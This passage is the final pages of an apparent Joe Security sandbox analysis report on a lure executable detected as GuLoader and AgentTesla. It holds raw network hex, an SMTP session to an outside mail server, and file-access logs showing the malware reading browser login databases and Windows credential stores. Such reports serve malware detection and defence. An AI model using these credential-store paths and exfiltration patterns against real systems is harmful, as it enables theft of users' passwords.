2022-04-25 17:44:44 UTC 211 IN Data Raw: b5 a3 d9 1b 6c ea 95 f1 4b 1a 06 b2 ab 63 e2 1c 98 e1 e5 6b 99 e7 50 fd 6c fa 4e c6 95 c2 99 47 7b ed 3d 6b 37 17 4d b5 ba d4 26 5b 9b b8 41 80 da e3 dd 9f f6 c1 79 90 79 dc 9f a2 fc 09 1a 34 7d da 40 b3 9c 83 25 67 33 74 be 7d 37 62 59 09 b3 74 03 ca ef b7 17 90 99 1c 6e aa f3 f6 96 f9 74 b7 b2 0e a7 02 25 6f e9 75 14 35 78 a9 73 10 61 52 0a e3 d9 a2 33 b9 f4 e1 e3 33 13 76 c7 a3 30 97 d8 80 e4 3a 2e c4 39 75 6d 48 80 50 23 7d bd 42 e3 ee 10 81 02 cc 31 9d 83 15 5e 07 f1 45 52 c5 8c 3b b5 a1 c8 f0 41 16 de 4a 57 a7 1c 6d 4e 88 4d 9f 8f 10 93 d3 2e e0 b8 8a 7b f6 9e 9f 8f 90 6e 6c 17 02 5b 55 fb 81 bc 9d 1e 59 65 89 dd 6e 23 10 fb 5f c5 b6 05 8e 4a 90 07 d3 f3 bd 31 6d de e7 eb 6b c3 5c 90 af f2 cb 4c f9 e1 ab 4f 9b 04 f3 84 67 6e 31 b4 84 69 9e ec a2 00 Data Ascii: lKckPlNG{=k7M&[Ayy4}@%g3t}7bYtnt%ou5xsaR33v0:.9umHP#}B1^ER;AJWmNM.{nl[UYen#_J1mk\LOgn1i
2022-04-25 17:44:44 UTC 212 IN Data Raw: 0e bd ef 44 38 31 c2 fc 9f 6a 8d fb c0 1f a5 d5 58 0b 8d d0 f7 6b dd 07 42 72 3b 1f 24 58 29 6f 16 2c 29 a5 75 43 f2 95 31 03 cd 20 cd 96 6d 2c a1 e7 db 62 8d 37 4f df 4a 46 92 26 cf dd af 78 17 71 23 4b f6 80 c1 f3 20 37 9a 39 ed 43 fe 49 ed 4f 50 2d 96 a4 9e 52 d4 86 d5 e5 31 7c cc 17 00 96 6b 2c 6b 2c a4 09 8f 76 38 38 5c f2 db 87 fa f9 fe 65 79 38 ad 7a c8 e4 68 bf bb 7a 58 c8 3a 16 59 cd aa 23 3d d2 ef 2d 31 6e 80 9c 34 0c 6e e5 f9 bd 84 0d 97 ce 8b f8 d2 65 a5 e4 1f 03 40 42 d7 f1 d2 bc 52 26 ee d4 65 24 d9 6c ad 5b d2 1f ee 8e 16 58 21 a3 19 42 f1 10 bc c7 49 e0 3c bd 48 dd 1f 45 d8 b8 4b 47 9d d1 29 97 a0 b2 c8 f6 21 cd 8f 1b 83 f8 fa 02 5c ed 46 c5 cc 53 9b 6d 42 7e b2 be aa 05 a9 36 5d 3b 29 bb 84 a9 3b 8c c6 ad d3 39 ab 60 d8 e2 b3 61 be 3c 9d Data Ascii: D81jXkBr;$X)o,)uC1 m,b7OJF&xq#K 79CIOP-R1|k,k,v88\ey8zhzX:Y#=-1n4ne@BR&e$l[X!BI<HEKG)!\FSmB~6];);9`a<
2022-04-25 17:44:44 UTC 213 IN Data Raw: 86 f1 c5 1a 01 45 d8 3e fe de ef f9 53 3c 08 c0 09 68 37 f5 28 26 5d ba 1c f6 b8 90 3b 03 96 2c cb 9e 78 4b 58 71 ef 53 b3 82 5e bb fa c6 8e 5c 74 d6 24 59 cd 12 13 46 cb 4d e8 9d fc 4e ba 20 82 bf ad 73 9d 96 fa 8c fd 66 64 1f 22 5d 57 f9 8e a1 d4 10 33 62 e5 c5 13 3f 6e 78 59 d9 c5 1d e2 52 e1 0f a5 d3 d5 30 12 da 8f ea 1a db 58 90 8e f4 d3 48 a5 e0 bf 57 9e 04 bd 98 0d 7a 5f be ed 74 f2 f0 de 82 bb e2 3e d1 82 af 2f 07 df 46 c5 2e 13 6f 1b c7 00 f0 ae 6b 57 d9 22 09 79 cf bf 9b 0a 7b 9b 90 fc 4f 93 52 13 0e 0e 8a 79 0d 7c 85 12 81 c3 4d c2 cf 6b db 84 79 e4 03 37 7a 60 0b 20 c1 6d 35 64 21 1e 8b 7b bf 26 3b e8 9f e1 3b 40 6d 6f f1 bc e5 49 01 b1 a1 26 48 63 63 d2 17 e5 16 e7 cb 5e 9f e3 3d d8 a0 d0 75 9c ca 02 6f b9 7a 69 92 fd 0b 7e 3e 19 03 67 7d fb Data Ascii: E>S<h7(&];,xKXqS^\t$YFMN sfd"]W3b?nxYR0XHWz_t>/F.okW"y{ORy|Mky7z` m5d!{&;;@moI&Hcc^=uozi~>g}
2022-04-25 17:44:44 UTC 215 IN Data Raw: f9 6d ad 38 b7 50 c0 3d 15 44 c8 b8 a1 d0 da f6 2a 3d 73 85 81 31 11 6b f8 fc a0 81 10 92 d3 8e e5 d7 78 a0 f9 1a 0b 52 37 db f1 d6 a1 57 3b eb c9 60 39 dc 71 a8 49 d5 18 f3 8b 0b 5d 3c a6 04 47 e3 90 48 d5 ca 31 2e c8 46 dd 1a 58 dd a5 4e 5a 98 cc 2c 8a a5 af cd a3 26 eb 92 1e 9e fd e7 07 40 ff c6 21 d1 56 86 68 5e 6c 33 de b8 84 c9 24 dd d7 35 a7 98 b5 27 90 da bf a6 2b 2b 84 ca 63 c7 7d ac bc 71 8f 38 e8 f1 e9 97 86 39 e5 00 ce 0f 39 94 e8 7a de f7 00 a0 55 bc e1 31 3b 06 7c 95 bb 58 b7 38 1d 34 fb c9 10 69 f1 09 fc 54 2d cd 7f b0 e3 dd 6e 2b d2 a6 ad 99 fa c9 e8 32 3a 11 28 e1 50 e2 5d 12 5c d9 6d 5a d7 ab 8d 8a a5 1e ca 53 97 17 63 b2 48 af 5e 44 2f 58 83 0e 5f 69 0a c1 2e 4f f0 a7 1d a0 b1 59 c6 6d f8 14 f9 45 07 08 bc a5 6d ec 0e 19 e9 eb 65 8b 92 Data Ascii: m8P=D*=s1kxR7W;`9qI]<GH1.FXNZ,&@!Vh^l3$5'++c}q899zU1;|X84iT-n+2:(P]\mZScH^D/X_i.OYmEme
TimestampkBytestransferred
Direction Data
TimestampSourcePort
DestPort
Source IP Dest IP Commands
Apr 25, 2022 19:44:58.734477997 CEST 587 49756 185.51.191.23 192.168.11.20 220-thtwentythree.tarhely.eu ESMTP Exim 4.95 #2 Mon, 25 Apr 2022 19:44:57 +0200 220- We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Apr 25, 2022 19:44:58.734949112 CEST 49756 587 192.168.11.20 185.51.191.23 EHLO 226533
Apr 25, 2022 19:44:58.756020069 CEST 587 49756 185.51.191.23 192.168.11.20 250-thtwentythree.tarhely.eu Hello 226533 [102.129.143.41]250-SIZE 52428800250-8BITMIME250-PIPELINING250-PIPE_CONNECT250-AUTH PLAIN LOGIN250-STARTTLS250 HELP
Apr 25, 2022 19:44:58.756397009 CEST 49756 587 192.168.11.20 185.51.191.23 STARTTLS
SMTP Packets
Copyright Joe Security LLC 2022 Page 46 of 50
Apr 25, 2022 19:44:58.778209925 CEST 587 49756 185.51.191.23 192.168.11.20 220 TLS go ahead
TimestampSourcePort
DestPort
Source IP Dest IP Commands
• Liquidaci#Ufffdn por Factorizaci#Uf…
• CasPol.exe
• conhost.exe
Click to jump to process
Target ID: 1
Start time: 19:44:21
Start date: 25/04/2022
Path: C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe"
Imagebase: 0x400000
File size: 194608 bytes
MD5 hash: 6B6BD25A3F0E2419EF5D628E66117E82
Has elevated privileges: true
Has administrator privileges:
true
Programmed in: C, C++ or other language
Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.10384703021.0000000003771000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation: low
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
Key Path Completion Count Source Address Symbol
Key Path Name Type Data Completion Count Source Address Symbol
Statistics
Behavior
System Behavior
Analysis Process: Liquidaci#U fdn por Factorizaci#U fdn de Cr#U fdditos.exe PID: 7072, Parent PID: 5432
General
File Activities
Registry Activities
Analysis Process: CasPol.exe PID: 400, Parent PID: 7072
Copyright Joe Security LLC 2022 Page 47 of 50
Target ID: 3
Start time: 19:44:34
Start date: 25/04/2022
Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\Liquidaci#Ufffdn por Factorizaci#Ufffdn de Cr#Ufffdditos.exe"
Imagebase: 0xa70000
File size: 108664 bytes
MD5 hash: 914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges: true
Has administrator privileges:
true
Programmed in: .Net C# or VB.NET
Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe SecurityRule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.15206254157.000000001D591000.00000004.00000800.00020000.00000000.sdmp, Author: Joe SecurityRule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000000.10264792485.0000000000F00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation: moderate
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user\AppData\Local read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache
read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user\AppData\Local read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user\AppData\Local\Microsoft\Windows\INetCookies
read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 F0E25B InternetOpenUrlA
C:\Users\user read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 6DAB3263 unknown
C:\Users\user\AppData\Roaming read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 6DAB3263 unknown
General
File Activities
File Created
Copyright Joe Security LLC 2022 Page 48 of 50
C:\Users\user read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 6DAB3263 unknown
C:\Users\user\AppData\Roaming read data or list directory | synchronize
device directory file | synchronous io non alert | open for backup ident | open reparse point
object name collision 1 6DAB3263 unknown
File Path Access Attributes Options Completion Count Source Address Symbol
File Path Offset Length Value Ascii Completion Count Source Address Symbol
\Device\ConDrv 0 0 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C949B71 WriteFile
\Device\ConDrv 30 30 75 6e 6b 6e 6f 77 6e unknown success or wait 1 6C949B71 WriteFile
File Path Offset Length Completion Count Source Address Symbol
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6DAB099B unknown
C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll.aux
unknown 176 success or wait 1 6DA062DE ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DABD97A ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DABD97A ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DABD97A ReadFile
C:\Windows\assembly\NativeImages_v4.0.30319_32\System\68e52ded8d0e73920808d8880ed14efd\System.ni.dll.aux
unknown 620 success or wait 1 6DA062DE ReadFile
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\96b2b7229c43d2712ff1bf4906a723f6\System.Configuration.ni.dll.aux
unknown 864 success or wait 1 6DA062DE ReadFile
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\62fe5fc1b5bafb28a19a2754318abf00\System.Core.ni.dll.aux
unknown 900 success or wait 1 6DA062DE ReadFile
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\5a5dc2f9e9c66b74d361d490c1f4357b\System.Xml.ni.dll.aux
unknown 748 success or wait 1 6DA062DE ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6C949B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4096 end of file 1 6C949B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown
C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\ccd32e22ed1b362ccbd4b6fe2cda6d0b\System.Management.ni.dll.aux
unknown 764 success or wait 1 6DA062DE ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6C949B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini unknown 4096 end of file 1 6C949B71 ReadFile
C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 end of file 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
unknown 45056 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State unknown 4096 end of file 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD72B5E2187F75E8118A14612
unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3425316567-2969588382-3778222414-1001\d68ad142-df6c-4933-8be9-2dd2b7e3f5cd
unknown 4096 success or wait 2 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\93CE54EBD72B5E2187F75E8118A14612
unknown 4096 success or wait 1 6C949B71 ReadFile
File Written
File Read
Copyright Joe Security LLC 2022 Page 49 of 50
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
unknown 11120 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D
unknown 11120 success or wait 1 6C949B71 ReadFile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 4095 success or wait 1 6DAB099B unknown
C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe.config unknown 8173 end of file 1 6DAB099B unknown
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data unknown 49152 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 success or wait 7 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 624 end of file 1 6C949B71 ReadFile
C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State unknown 4096 end of file 1 6C949B71 ReadFile
File Path Offset Length Completion Count Source Address Symbol
Target ID: 4
Start time: 19:44:34
Start date: 25/04/2022
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff780810000
File size: 875008 bytes
MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges: true
Has administrator privileges:
true
Programmed in: C, C++ or other language
Reputation: moderate
There is hidden Windows Behavior. Click on Show Windows Behavior to show it.
File Path Offset Length Completion Count Source Address Symbol
⊘ No disassembly
Analysis Process: conhost.exe PID: 408, Parent PID: 400
General
File Activities
Disassembly
Copyright Joe Security LLC 2022 Page 50 of 50